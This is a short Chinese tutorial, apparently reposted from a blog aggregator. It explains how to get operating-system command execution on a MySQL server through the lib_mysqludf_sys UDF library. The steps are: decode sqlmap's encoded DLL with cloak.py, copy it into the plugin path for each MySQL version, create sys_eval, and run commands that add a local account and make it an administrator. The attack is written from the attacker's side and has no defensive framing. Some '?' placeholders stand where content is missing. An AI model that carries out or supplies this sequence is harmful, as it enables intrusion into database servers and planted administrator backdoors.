MySQL利用UDF执行命令
UDF即User-Defined Functions
?
lib_mysqludf_sys 在github的介紹:
A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.
lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme
自動化注入工具Sqlmap已經集成了此功能。
在 sqlmap\udf\mysql\windows\32目錄下存放著lib_mysqludf_sys.dll_
(sqlmap\udf\mysql\windows\64目錄下為64位的lib_mysqludf_sys.dll_,但是64位的測試失敗)
但是sqlmap 中 自帶 的shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py
目錄 sqlmap\extra\cloak\cloak.py 對 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解碼后,再直接利用
首先進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_會生成 lib_mysqludf_sys.dll
攻擊者可以利用lib_mysqludf_sys提供的函數執行系統命令。
函數:
?
?
目標機以windows為例,MySQL版本為5.6
攻擊過程中,首先需要將lib_mysqludf_sys(目標為windows時,lib_mysqludf_sys.dll; linux時,lib_mysqludf_sys.so)上傳到數據庫能訪問的路徑下。
然后創建UDF。
lib_mysqludf_sys.dll的導出路徑:
MySQL<5.0,導出路徑隨意;
5.0 <= MySQL<5.1,則需要導出至目標服務器的系統目錄(如:system32)
MySQL 5.1以上版本,必須要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能創建自定義函數。
創建相應的函數:
create function sys_eval returns string soname 'udf.dll';
?
執行命令:
select sys_eval('whoami');
select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);
總結
以上是生活随笔為你收集整理的MySQL利用UDF执行命令的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Javaassist简介
- 下一篇: xss漏洞的poc与exp